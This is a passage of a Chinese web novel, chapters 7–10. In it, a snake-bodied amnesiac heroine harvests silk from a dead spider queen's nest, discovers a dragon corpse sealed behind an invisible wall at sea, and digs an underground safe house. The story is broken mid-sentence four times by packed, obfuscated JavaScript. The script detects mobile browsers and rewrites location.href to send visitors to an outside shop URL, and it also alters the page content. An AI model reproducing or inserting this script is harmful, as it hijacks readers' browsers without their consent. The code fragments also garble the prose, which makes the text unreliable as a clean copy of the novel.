《没人告诉我就是女娲啊》 7. 第7章 食谱？ 视线骤然明亮！ 在这个只有灰色与红色的世界里，颜辞云第一眼见到的，就是身前那片如遭受了无数陨石撞击的、剧烈凹陷下去的地面。 一个又一个的深坑，突兀出现在了森林深处。 而更令人感到怪异又微妙的是，在这些陨坑的深处，并没有“陨石”的存在，当颜辞云环视四周时，她也没有发现因“陨石”而被砸倒的巨木，就连四散飞溅的泥土与碎石都没有。 甚至当颜辞云用手里的长镰刀敲击这些陨坑的地面时，她还听到了“锵锵”的刺耳声音。 “这片地形，不可能是自然生成的……” 太古怪了。 这样的地形，太古怪了，就像是有什么人用“勺子”在这片森林蛋糕上挖出了一个个光滑的缺口，处处都透露着突兀与怪异。 颜辞云微微俯身，伸出手掌，掌心从陨坑上光滑的表面拂过，恍惚间像是嗅到了这层石壳下的刺鼻气息。 “不是砸出来的，而像是……像是被什么东西融化了……” 颜辞云抬头，看到头顶上的茂密树冠里有一块块突兀空出来的缺口，接着又低头，将这些空白处与地面的“陨坑”一一对应。 颜辞云喃喃自语：“有某种东西从天而降，落在这片森林里……” 那样“东西”是如此凶悍残暴，将它一路上遇到的所有事物——无论是树冠、巨木，还是落叶、泥土等，凡是挡在它路上的东西，全都在遇上它的瞬间被融化掉，消失得悄无声息。 这才是颜辞云在“陨坑”附近连一片飞溅的碎石都没看到的原因。 但，那“东西”是什么？ 某种酸吗？ 很接近了，但不全对…… 颜辞云沉吟片刻，敲了敲自己空荡荡的脑袋，暂且放下这件事，开始在四周捡漏。 没错，哪怕是这片被毁坏得如此可怕的地形里，也同样有能让颜辞云捡漏的东西，比如说蛛丝。 这片已化作陨坑的地区，似乎原本是一个可怕的蜘蛛巢穴。 在这里，无数颜色艳丽的蜘蛛聚集，细心吐丝，织网筑巢，令白色的蛛网纵横交错，细细密密，几乎取代了树冠，将这一整片森林都化作了它们的苍白王座！ 然而，那些从天而降的未知之物，却如一场不可违逆的天灾，在降落地面时悍然将这苍白王座的最高掌控者击溃！ 颜辞云清楚看到，那是一只趴伏时身形足有五米高，长着一张女人面容的蜘蛛女王！ 它的面容艳丽苍白，似人又非人，近三米高的脸歪倒地上，六对漆黑的复眼直勾勾地对上了颜辞云的注视，扭曲而怨愤，令颜辞云在看到它的瞬间就被巨大的恐惧笼罩，汗毛耸立，心头蓦地有一种极端的惊惧和悚然感窜升，几乎忍不住要大叫起来。 可很快的，在那魔魅的恐惧感被驱散后，颜辞云回过神来，发现这只庞大的蜘蛛女王其实早已死去，如今堆积在她眼前的，其实只不过是一具外壳而已。 因为组成它身体最重要的胸部与腹部，早已被那从天而建的“未知物”融化了。 而随着蜘蛛女王的突兀死去，这在森林深处伫立的苍白王座，也随时枯萎崩塌。 那些原本拱卫着女王的三米多高的蜘蛛护卫也好，又或者是那些负责筑巢的一米多高的变异蜘蛛也罢，甚至是那些只有颜辞云一个指节大小的普通蜘蛛，都随着蜘蛛女王的死去而暴毙，只在地上留下一具具色泽艳丽的、一看就让人头皮发麻的尸体。 颜辞云转了一圈，在确定这个苍白巢穴内的所有蜘蛛都死了个彻底后，就动手收割起了这个苍白巢穴内的蛛丝。 因为颜辞云依稀记得，蜘蛛丝的强度比同等重量的钢丝还要强，且具有较高的弹性，将它缠在伤口上后还有止血收口的作用，是非常好的材料。 为此，颜辞云亲自上手试了试。 她发现，这蛛网果然非常强悍非常，不但刀割不断，就连自己一尾巴甩在蛛网上，也溅不起一点儿水花，甚至还被蛛网直接弹了回来，在地上打了三个滚才算完。 要知道，这可是两下就能砸塌一个3X5X3的地洞的尾巴啊！ 这样的她，竟然都奈何不了一张小小的蜘蛛网！ “难怪我面板上的攻击只有E……” 颜辞云嘀咕了两句，最后还是掏出万能的镰刀，这才把这些强韧的蛛丝成功摘下，收进物品栏。 【蛛丝+8】 【蛛丝+11】 【蛛丝+16】 【蛛丝+7】 …… “或许，可以用它来做衣服？像织毛衣那样？” 一边摘着蛛丝，颜辞云空荡荡的新脑子里一边不断冒出些奇思妙想。 “对了，还有渔网！如果附近有河流或者海洋的话，用它来捕鱼一定非常妙……还有背包，能织毛衣当然也能编挎包……还有帽子……还有钓竿！” 颜辞云动作飞快，在这座苍白巢穴彻底枯萎前，把附近的蛛丝全部摘取了下来。 离开的时候，颜辞云路过了蜘蛛女王的尸体。 她看着那庞然巨物，心中有些踌躇。 别误会，不是害怕，而在犹豫着要不要吃掉这只蜘蛛女王。 毕竟，点出了【吞噬】的她，未来的道路不就是要把所有的怪物写上自己的食谱、成为这个世界最棒的美食家吗？ 可最后，颜辞云看着蜘蛛女王那张肖似人类的脸，叹了口气，到底放弃了这个想法。 “这种事……还是以后再说吧！” 或许在这个世界生活久了之后，颜辞云也能一路超进化，成为那种面对类人怪物时也能面不改色将对方扒皮抽筋、生火炖肉的强人。 但现在…… 至少现在，颜辞云还做不到这样的事。 告别了这座崩溃中的苍白巢穴，颜辞云继续向前。 她的蛇尾灵动摇摆，在一个个“陨坑”之间毫无障碍地游走，很快就穿过了这片“陨坑”，走出了原始森林。 而远远的，颜辞云就听到了水的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358851|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音。 她眼睛一亮，屏住呼吸，侧耳倾听，很快就发现那些传到自己耳畔的声音不是平缓的溪流声或江河声，而是轰鸣中的瀑布声！ ——终于找到水源了！ 这边果然有水源！ 颜辞云一喜，速度越发快了。 而随着颜辞云越发接近巨兽战场，她就能看到地上越来越多被飓风吹得断裂倒伏的树木、如“陨石区”一样坑坑洼洼的地面，以及一大片一大片不自然的灰白。 倒伏的树木和“陨石区”颜辞云还认识，但那些灰白的东西又是什么？ 没有太多颜色的世界就是有这点不好，让颜辞云很难分辨出地上的东西到底是什么玩意儿。 面对这样不自然的颜色，颜辞云先是谨慎地用镰刀敲了敲，听到了锵锵的响声和坚硬的触感，确定不是什么细菌毯和病毒后，这才上手摸了摸。 “什么……石头？” 颜辞云看着身前的灰白，脸上一片愕然。 接着，她又不死心地摸了摸附近灰白色的树。 “石树？” 她摸了摸附近的灌木。 “石灌木？” 颜辞云恍有所悟。 “难道说，这片灰白的地区……是被什么力量石化了？” 先是打破常理的巨兽，接着是打破常理的能力。 好嘛，接下来等待她的还会有什么？ 颜辞云也不含糊，拿出木镐就哐哐采集起了石头。 木斧头砍树的效率，是10耐久一棵树，一柄木斧头有20点耐久，而一棵树能掉落5单位原木块，所以一柄木斧头可以获得10单位原木块。 木镐的耐久度和木斧头的耐久一样，都是20，并且同样要挥10下才能采取一块石头。但1立方米岩石只能采出1单位原石，也就是1把木镐只能得到2单位原石。 颜辞云无奈，试探着给木镐升级，做出了石镐。 让颜辞云松了口气的是，石镐的耐久足足有100点，并且挥5次就能挖下一块石头，掉落2单位原石。 这无疑大大提高了颜辞云采集的效率，让颜辞云欣喜之下恨不得把自己所有的工具都升一次级。 但可惜，这片区域的岩石有限。颜辞云才不过向下挖了4米左右，入眼所见的就只剩下了泥土。 因此，颜辞云也只是把镐子升级了一下，其他工具依然是木制的。 接着，很快的，在颜辞云的辛勤劳动下，附近的岩石、石树、石灌木丛，都被颜辞云采集了大半。 当颜辞云物品栏里的原石块和石砖数量都飙升至三位数后，她才意犹未尽地暂时收手，继续向那发出瀑布轰鸣声的方向奔去。 然而，就在颜辞云彻底跑出这片原始森林、视野开阔的瞬间，她前进的脚步蓦地停下，瞳孔紧缩，呼吸凝固，近乎瞠目结舌地看着眼前的一幕。 “这、这……怎么会……” 颜辞云喃喃着，不可置信。 “这是——什么东西？！” 8. 第8章 龙 颜辞云从没想过自己竟会见到这样的一幕。 只见，在这片原始森林外的不远处，就是一片不断翻滚着波涛的海洋。 这与颜辞云预想中的“瀑布”固然不同，但也不值得大惊小怪。 真正令颜辞云感到惊愕甚至感到悚然的，其实是这片海洋的尽头——那一条突兀截断了海洋的、漆黑而幽深的深渊！ 颜辞云并不是没有见过深渊，她也不是没有见过黑暗，可她视线尽头的那条漆黑深渊，是如此令人感到恐惧。 明明此刻正是一天的正午时分，晴空如洗，视野开阔，光照充足；明明那条黑色的深渊并不遥远，离颜辞云所在的海岸线不过区区百米。 可百米之后的世界，颜辞云却怎么都看不清。 无边无际的黑色，化作了漩涡，化作了黑洞，黏住了所有投向它的事物。 无论是那巨量的海水也好，还是颜辞云的视线也好，哪怕是自由自在的光，都无法逃脱它的捕捉！ 就好像那条黑色深渊截断的并非海洋，而是这个世界！ 这一刻，颜辞云脑中一片空白。 远处，巨大的“瀑布声”依然在轰鸣着，那是海水源源不断落入深渊时发出的巨响。 但这一次，颜辞云却似乎从这巨响中听到了黑暗虚空的回应。 “这里……难道就是世界的尽头？” 情不自禁的，颜辞云生出了这样的想法。 哪怕下一瞬间，颜辞云就下意识否定了这个异想天开的念头，甚至连颜辞云那颗只剩下模糊记忆碎片的脑袋，也在向她疯狂大叫着“绝对不可能”。 可颜辞云依然忍不住心脏狂跳，一股过电般的酥麻从指尖顺间爬上她的脊背。 “为什么不能呢？” 颜辞云不由得这样想。 “就连穿越的事都发生了……就连神话一样的巨鸟都出现了……就连长着人脸的蜘蛛都现身了！” 既然这么多不可思议的、颠覆常识的事都发生了，那如今她面前的这条“深渊”，又为什么不能是“世界的尽头”呢？ 颜辞云深吸一口气，强行镇定下来，用制作台迅速造出了一条小船和一把船桨。 她放下小船，拿起船桨，以最慢的速度，轻柔地、和缓地向那深渊驶去。 颜辞云并不是发了疯。 她也不是那种为了寻求真相就连性命都不顾的寻道者。 她只是无法接受当一个接触神秘接触神话接触传奇的机会摆在自己面前时，她却连上前瞧一眼都不敢！ “我想去看一眼……一眼就好。” 颜辞云这样告诉自己。 她的心脏怦怦狂跳，但她紧握船桨的手很稳，并且做好了随时跳船逃跑的准备。 “或许我会无功而返……不，我想我大概率会是无功而返……但我不能连试都不敢试、看都不敢看！” 这是一个危险的世界，每一个生命都可能在下一秒死去。 当看到那张三米高的艳丽人脸带着怨毒愤恨的表情，垂落在森林里时，颜辞云就明白了这件事，也明白了自己的微弱和渺小。 但是，正因为她的力量是微弱的，她的存在是渺小的，她就越不能失去一颗进取的心，失去探索和冒险的勇气！ 如果她连这些东西都失去了，只为了寻求安全而一味画地为牢，缩在角落里为了生存蝇营狗苟，那么这样活下去的，究竟是一个名为“颜辞云”的人，还是一具会走路会呼吸会说话的空壳呢？ 这一切的答案，在她用手握紧船桨的那一顺间浮现。 “哗啦——” 海浪拍击在颜辞云的木船桨上。 颜辞云的手很稳。 她既不为这样杂乱的洋流而慌张，也没有过多地去划动它，只是时不时地用船桨去阻拦无头苍蝇一样的海流，让自己驾驶的小船再慢一点、再稳一点。 但再慢再稳，百余米的海洋也只让颜辞云耗费了十分钟的时间。 十分钟后，黑色深渊近在眼前！ 而随着颜辞云的小船与深渊的距离越来越近，颜辞云也发现，事情与她想象的并不一样，有些时候，眼睛看到的并不一定为真。 比如说在出海前，颜辞云以为越接近深渊的地方，洋流的速度就会越快，为此她驾船很慢，并做好了一旦船速失控就立即跳船逃跑的准备。 可事实与颜辞云看到的完全相反！ 在越接近深渊的地方，海洋流动的速度其实越慢，甚至当颜辞云与深渊只有一米的距离时，她的船竟生生在深渊前停了下来！ 波涛汹涌的大海，垂落虚空的洋流，没有远方的深渊，以及静止在海洋与深渊夹缝间的小船。 这一刻，这一幕，就像是某个异想天开的梦境、天马行空的画卷，在颜辞云的脑海定格。 颜辞云想，她或许永远都会记得这样的一幕。 她长长吐了口气，并没有急着回返，而是从物品栏里拿出一根木棍，试探着递向前方的“黑洞”。 第二个意外发生了。 颜辞云手中的木棍并没有被可怕的“黑洞”吞噬，反而像是触碰到了某种坚硬的东西，发出了“咚咚”的闷响，就好像颜辞云眼前的“黑洞”其实是某种无法用肉眼看到的墙！ 真的假的？ 空气墙？ 她不会真的穿游戏里了吧？ 姐们跟你开玩笑，你跟姐们来真的？！ 颜辞云举起手里的木棍敲了敲“黑洞”。 咚！咚！ 她不敢相信，又用力敲了敲。 咚！咚！咚！ 一顿乱敲后，颜辞云反而生出了某种明悟。 “不对……这应该不是游戏里的空气墙……而是、而是——” 而是一种很熟悉的、颜辞云绝对在什么地方见过的东西！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358852|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一刻，颜辞云脑中灵光一闪，蓦地生出了明悟。 “是森林里的那些‘陨石坑’！” 在见到森林里那些突兀出现的‘陨石坑’的时候，颜辞云就觉得有哪里不对，觉得造成这些‘陨坑’的东西有点违背常理了。 但那时候的颜辞云没有得到答案，只以为是某种她想不起来的强酸。 可如果那东西并不是“酸”，而是某种会影响空间的力量的溅射呢？ 那股强大的力量，在爆发的顺间就将这片海域的空间直接定格、凝固、封锁，而这股力量向远处溅射的碎片，也可怕得超出想象，无论是森林的树木泥土也好，还是那只蜘蛛女王也好，都在接触到的顺间被空间的力量挖空？ 所以那些陨坑才会那样奇怪，所以当颜辞云用镰刀敲击陨坑底部的时候，才会像敲到某种“墙”一样发出哐哐的声音？ 而按照这个逻辑，这片海域这条深渊，其实也不是什么“世界尽头”，而是被神秘力量影响了的正常海洋？ 想到这里，颜辞云有些失望，却又偷偷松了口气。 “希望真相真的是这样吧……” 否则的话，本就携带着系统穿越、被口口声声称作“玩家”的颜辞云，就真的只能将这个世界当作游戏了。 颜辞云晃了晃自己的脑袋，很快又想到了另一件事： 既然她面前的“黑洞”其实并不是深渊，也没有吞噬洋流，而只是将这片海域凝固了，那她听到的瀑布般的水流和巨响又是从何而来？ 颜辞云思考了一下，坐在小船上左顾右盼，环视四周。 轰响声太近也太大了，颜辞云很难听出它究竟是从什么方向传来的，只知道就在附近。 所以，到底在哪儿？ 颜辞云用自己的船桨划动小船，一边顺着“深渊”的边缘慢慢前行，一边寻找着声音的方向。 慢慢的，随着颜辞云身下的小船越来越快，颜辞云也越来越清楚地感受到，这片大海的洋流之所以混乱不堪，被凝固成“黑洞”的海域其实只占了小部分。 真正扰乱这片大海的洋流、截断了海水的，是一具如山一样巍峨绵长的尸体。 它的角似鹿、头似驼、眼似兔、项似蛇、腹似蜃、鳞似鱼、爪似鹰、掌似虎、耳似牛。 而这样的生物，往往又有另一个名字： 龙！ 这一瞬间，在看见这条巨龙尸体的第一时间，颜辞云心中生出的，竟不是见到神话之龙的震惊，也不是目睹真龙死去的恐惧，而是……一股难以遏制的食欲。 下意识的，颜辞云舔了舔唇，自她变身蛇形后就再没有感受到的饥饿感，铺天盖地涌出。 她的眼睛眨也不眨地盯着这具截断大海的龙尸，蛇瞳泛着幽幽的光，心中生出明悟。 “我想，吃了它。” 顿了顿，颜辞云肯定道： “我需要吃掉它！” 9. 第9章 建家选址 一条抻长了也不到五米的小蛇，竟放言要吃掉一条横断海洋的巨龙！ 颜辞云的这番话，如果被第二个人听到了，指定要笑话颜辞云痴心妄想，就像是想要吞象的蚂蚁一样不知天高地厚。 但事实上，这里并没有第二个人，甚至有没有第二个生命都很难说，因此颜辞云迅速将自己的想法提上日程。 而颜辞云要思考的第一件事，就是如何接近那条龙的尸体。 那是非常不可思议的一幕—— 浑然一体的海洋被无形的力量分作两半，露出了海底堆积的淤泥与珊瑚，也露出了横亘在海底的那条万丈高的龙尸；万钧的海水循着重力，在龙尸的西侧跌落，发出轰然巨响，如同巨兽的咆哮，但在路过龙尸后，又从龙尸的东侧升起，一点点卸去暴戾，回归柔顺，融入东边的海洋。 就好像颜辞云脚下的并非是海洋，而只是一条如海水一样柔顺的缎子，那具庞然的龙尸，则躺在这条深蓝色的缎子上，将东西两侧压出海水般的潋滟波光。 颜辞云听到的瀑布声，正是从这条“缎子”的西侧发出的，而颜辞云如今所在的，则是“缎子”东侧那片被卸去凶暴、相对平稳的海域。 这无疑给了颜辞云靠近龙尸的好机会！ 不过，随着颜辞云离龙尸越来越近，颜辞云身下的小舟也越发难以前进，甚至不断被逆向的洋流往后推去。 往往是颜辞云划动数十下，好不容易让小舟前进两米，但只要稍稍松一口气，小舟就会顺间倒退十米。 逆水行舟，不过如此。 见到这样的局面，颜辞云没有犹豫，干脆地将小船收起，自己则噗通一声跳下了水，摆动着蛇尾，向龙尸的方向缓缓游近。 或许是因为失忆前的颜辞云本就水性不错，也可能是因为蛇形的加成，很快，颜辞云就缩短了自己与龙尸的距离。 可当颜辞云努力克服了千难万阻，好不容易来到龙尸附近时，她却又遇到了与凝固大海的“黑洞”一样的问题： “空气墙”！ 这片看起来违反常理、但至少还在流动的海域，竟然与那片“黑洞”一样，有着敲起来会哐哐作响的空气墙。 只不过这片空气墙不是在海上，而是在海下、在那条龙尸周身十米左右的地方！ 颜辞云不死心地在海下游了一圈，没有找到半点可趁之机。 她不由得咋舌：很好，不愧是神话生物，哪怕死了都这样厉害。 但——更想吃了呢！ 此刻，颜辞云点出的【吞噬】技能下，其实有两个小分支，一个是【摄神】，一个是【摄形】。 颜辞云现在只点亮了【摄形】，而暂时不知道【摄神】的具体用处，更不知道要如何开启。 但是，哪怕仅仅只是【摄形】——摄取一条龙的【形】，颜辞云相信这对她来说也绝对是极大收获！ 所以，到底要怎么突破这面空气墙？ 要怎么才能吃掉那条龙？ 颜辞云看着面前将自己堵得严严实实的空气墙，心里有着十二万分的不甘。 ——十米，只不过是短短十米！ 那条龙，那条可以让自己一波暴富、摆脱小卡拉米身份的龙，离她仅仅只有十米而已啊！ 颜辞云脑尽脑汁，使出十八般武艺，把自己能想到的办法全都用上。 比如说用锤子、斧头、稿子等工具去砸去凿这面空气墙；比如说用蔓藤和草绳搓出一条极长的绳索捆在岸边树上试图从龙尸的正上方降落，等。 但却全都无功而返。 颜辞云失望极了，盯着不远处庞然如海底山脉的巨龙，心中又是不甘又是懊恼，咬着指甲，脑筋转得飞快。 她就不信了，这空气墙难道还能是永久性的？ 她就不信了，这条海底龙尸难不成还能在空气墙里躺个千百万年？ 总有一天，那些阻碍她的东西都会消失的，而她想要的，也终将得到！ 颜辞云坚信着这样的未来。 所以，在这个未来到来前，颜辞云要做的只有一件事： 活下去！ 决定跟这空气墙杠上了的颜辞云从海底徐徐升起，游到岸边。 她扯下自己身上湿漉漉的树叶上衣，一边拧着自己长发里的水，一边扫视四周的环境。 “那么……” 颜辞云若有所思。 “已经耽误很久了……是时候该建起我的安全基地了。” · 在最开始时，颜辞云对这片地域发生的事做了一个猜想，那就是在这里占地为王的某只地头蛇与某只过江龙发生了冲突，最后地头蛇被摁死在自己的地盘上，过江龙则大摇大摆扬长而去。 但是，当颜辞云来到这里后，她发现事情与自己最初的猜想有不少出入，因为无论是那只离开的那只巨鸟还是横尸海底的巨龙，都不是这片水土能养出的生物。 对颜辞云这样的弱鸡现代人来说，这片藏着蜘蛛女王的森林固然可怕，可对巨兽来说，这不过是随便一口痰就能解决的小问题。 ——这片土地，没有能够养育出巨龙的条件。 就像是动物园里养不出奔袭千里的猛兽，新手村里刷不出肆虐人间的BOSS。 无论是巨龙还是巨鸟，它们应该都是“过江龙”。 所以真正的“地头蛇”，其实是海岸不远处苍白巢穴里的那只蜘蛛女王才对！ 既然如此，这件事情的真相应该是这样的： 前几天，两个神话巨兽在此处海域上狭路相逢，大战一场。这场战斗来得十分突兀，同时也十分短暂，它的余波扫死了“地头蛇”蜘蛛女王，又惊走了附近的所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358853|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物，最后，巨龙落败身死，巨鸟展翅远去。 这是颜辞云能想到的最符合逻辑的猜想。 不过，这也代表着颜辞云想要搜刮巨龙巢穴、甚至在巨龙的巢穴上建家的计划落空了。 毕竟，海水虽然也是水，但却没法当水源来使用。 除非进行海水淡化！ 可这样的高科技，以颜辞云那空得连海水的回响都不曾有的脑袋，又怎么想得出来？ 因此颜辞云眼珠一转，很快又想到了另一个办法：在苍白巢穴的附近寻找水源！ 苍白巢穴里的蜘蛛女王和蜘蛛护卫们固然长得奇奇怪怪的，一看就不是正常世界的产物，可怕得恨……但就算是怪物，也得喝水吧？ 这次，颜辞云的思路总算对了。 颜辞云回到那座苍白巢穴，围绕着它在四周探索了一会儿，很快就在苍白巢穴的附近发现了一座小型湖泊和一条河流。 其中，湖泊的附近没有水流，想来是地下水。而它所在位置也非常好，与海洋、龙尸、森林都很近，无论颜辞云日常是伐木还是觅食，都非常方便快捷。 而至于河流，则在更东边的地方。那里的西侧，是藏着苍白巢穴的原始森林，东侧是寸草不生的荒芜石原，北方是暗流汹涌的入海口，南方则是颜辞云最初降临的荒原的延伸。 当颜辞云攀上崎岖坎坷的石山，站在高高的山上向西边眺望时，她的目光如鸟儿一般飞跃了平均高度百余米的原始森林，清楚看到了这个世界的最高点——那座每时每刻都在发出轰然雷鸣的雷山！ 当初，颜辞云站在旷野中第一眼看到那座雷山时，就在心里觉得雷山太高了。 它高得像是刺破了天穹，甚至像是撑开了天与地！ 但当时的颜辞云没有太过惊诧，只以为这是雷山太高、而自己又与雷山太近而造成的视线错觉。 可当颜辞云站在地势足够高的山顶上再向雷山眺望时，她才愕然发现，她对雷山的第一印象竟不是她的错觉。 ——这座雷山，真的“顶天立地”！ 颜辞云恍惚着，近乎震撼地看着这座没有尽头的雷山，耳畔甚至能隐约听到那些围绕在雷山的乌云是怎样发出躁动不安的雷音的。 许久之后，颜辞云才喃喃出声： “总有一天……” 总有一天，她会……她一定会—— 颜辞云闭了闭眼，长长呼出一口气，下了山，为自己在这个世界的第一个家的选址，做出决定。 按理来说，颜辞云应该选择物资更丰富的森林、在森林的湖泊上建立起自己的安全基地才对。 但颜辞云思考了一会儿后，还是选择将自己的安全基地建在河流的一侧，并且还是寸草不生、看起来就非常不适合人类生存的石原的那一侧。 这是有原因的。 10. 第10章 第一个安全屋 一望无际又生机断绝的石原看起来很危险，实则一点都不安全。 哪怕如失忆人士颜辞云，都明白这片如死亡一样冷硬的石原绝不是一个建家的好地方。 但就是这样冷酷的石原，却有一个其它地形都少有的好处，那就是坚固。 或者说，安全。 事实上，自颜辞云穿越后在荒原上醒来，她心中就一直有着一股极深的不安全感。 这样的不安全感来自于她的失忆，来自于她的穿越，还来自于这个世界陌生又不可思议的一切！ 颜辞云想要冒险想要壮大的心是真的，但她恐惧着世界恐惧着危险的心也是真的。 特别是当她目睹到对她而言极可怕的蜘蛛女王，竟因巨兽乱战的随口一痰就暴毙当场的尸体后，颜辞云就越发感受到了这个世界的可怕。 因此，颜辞云对自己的第一个安全屋有且仅有一个要求： 安全。 为了这份安全，颜辞云毫不犹豫地抛弃了食物物资丰富的森林，宁可平时多花一点时间在搜集物资的路上，也要把自己的第一个安全屋建在石原的地下。 是的，地下，当然是地下！ 就连藏在密林深处的蜘蛛女王都会因为天降巨痰而暴毙，颜辞云哪里还敢在地上安睡？ 于是，颜辞云在离河流很近离海洋也不远的地方，选了一处风水宝地，拿起升级过的石镐，继续秉持着自己严谨的挖洞理念，以左一右一、右一左一的方式又一次向地下挖洞。 石原一片荒芜，挖开了一块石头下面依然是石头。 如果换做别人来，这样一片难以开采的石山石海，自然算是一个极大麻烦，可对身怀外挂的颜辞云来说，这可算不上什么—— 石山石海又怎样？只要给她时间，地心她都能挖穿！ 呔，吃我一镐！ 凭着升级后的利器，颜辞云三两下就挖到了五十多米深的深处。 这时，颜辞云四周的地质几乎没有半点变化，依然是又臭又硬的石头，浑然一体，不见半点沙石。 颜辞云顺着两米宽五十多米深的天井向上望去，蛇尾一摆，试探着想要在没有梯子辅助的情况下向上爬。 只见嗖地一下，她竟眨眼就回到了地面，就好像她只是原地一蹦，五十多米就过去了。 “呃……要不要继续往下挖一挖？” 蛇形的超人体质无疑给了颜辞云极大震撼。 但颜辞云思考了一下后，到底放弃了一口气吃成胖子的想法。 她分辨了一下方向，回到天井底部，开始向着东南两侧、也就是远离河流和海洋的方向，横向挖掘出一个可供居住的地洞。 就这样，短短十分钟不到，一个长50米宽30米高10米的方方正正的小盒子，就这样做好了。 说起来，颜辞云倒不是刻意把自己的住所往大的方向去挖，想要在第一个安全屋里就给自己搞出一个豪华地洞套房，而是以如今颜辞云的体型来说，普通人居住的房型已经不再适合她了。 现在的颜辞云，直挺挺躺下时有近五米长，日常游走时身高则近两米，同时身后还拖着一条两米左右的蛇尾。 这样的体型就注定颜辞云住不了小房型，否则她不是碰头就得碰尾。 更可怕的是，别人如果碰着了墙，那就只能抱着自己的头或脚鬼哭狼嚎，自认倒霉；而如果是颜辞云撞上了墙，那是真的能把墙生生撞出一个洞来！ 为了避免这样尴尬的未来，颜辞云干脆一开始就把自己的安全屋往大了整，起手就是1500平。 反正这里的土地不要钱，反正她挖洞超快的。 那为什么不呢？ 给自己的安全屋捏好火柴盒的雏形后，颜辞云为了通风，又在盒子的四角挖了直上直下的天井。 这就像装了四根天线的路由器，有一种火柴人才能发掘的美。 颜辞云站在天井下，抬头向上望去。 只见此刻，外界的光从天井洒落，微弱的光混杂着细小的尘埃在空中漂浮游荡。 颜辞云站在其中，就像是一个被世界遗弃之人从时代的坟墓里往外眺望，只余无声的死寂、隽永的孤独。 但事实上，颜辞云完全没有这样的心情。 甚至她对自己捏的安全屋还挺满意的。 四周厚重的石层，对他人来说或许显得十分冷硬无情，但颜辞云只从这些石块上感受到了满满的安全感。 而那从天井落下的微弱光线，对常人来说或许黑暗又寂寥，但颜辞云只觉得光线柔和，不明不暗，让她哪怕身处“火柴盒”里，也有一种岁月静好感。 简而言之，这里超安全，她超喜欢的！ 颜辞云满意点头，在自己1500平的地下大别墅里游了一圈，心中喜滋滋的，觉得以自己挖石头和走动的速度，别说是一个1500平的安全屋了，哪怕是挖一个15000平的大别墅也都是洒洒水啦！ 不过颜辞云也只是想一想而已。 她没事挖个15000平的大别墅干什么？方便唱歌时听自己的回音吗？ 还是好好把这1500平的别墅打理好吧！ 但，就在颜辞云打算给自己1500平的大别墅进行精装修时，她又注意到了另一件事：万一石原上下雨了怎么办？ 自己的这个地下石屋，要怎么排水？ 颜辞云看了看上头，又看了看脚下，脑袋里冒出的第一个办法，就是围着自己的大别墅挖一条护城河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358854|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 先挖一圈一米深的试试水，看看这石原上的降水是多是少，如果真的不够，可以随时再挖，反正她挖石头超快！ 但很快的，颜辞云否定了这个想法。 原因很简单：死水会发臭。 虽然颜辞云对在自己别墅外建一圈“游泳池”的想法超级心动，但只要想想这不流动的死水不但会发臭，还会腐烂发霉，最后变成一条飘满霉菌和病毒的绿河，颜辞云就对此敬谢不敏。 那么，在天井上方做一圈避雨的屏障怎么样？ 这件事对颜辞云来说倒是不难，因为在掌握了便携式帐篷的制作方式后，颜辞云就不缺避雨的材料了。 只要颜辞云手动将便携式帐篷拆成一块一块的防水布，再在天井上端围一圈石头，撑起防水布，那么保持地下别墅的干燥简直就是轻轻松松。 可这样一来，别墅的通风和采光就会出问题。 这也不行，那也不好。 排水这件事，到底该怎么做呢？ 颜辞云有些发愁，随手做出了早就摸出合成表但一直不方便携带的储物箱后，便一边向箱子转移自己身上的杂物，一边思考这件事。 而当颜辞云转移了各种转满杂物和工具的小木船，继而转移到【泥土块】时，颜辞云看着这东西，突然愣住了。 这些泥土块，是颜辞云前两天在森林里挖地洞时顺手收的。 原本颜辞云的计划是在她安全在森林地洞里度过一晚后，再在离开地洞时将这些泥土块反手填回去。 可那天晚上，颜辞云吃了一整夜的蛇后，意外发掘出了技能【吞噬】的真正用法，BIU一下变身成了蛇形，于是她心情大起大落下直接忘记了这回事，从地洞里蹦跶出来后就直接离开了。 在这之后，【泥土块】便也一直留在了她的物品栏里。 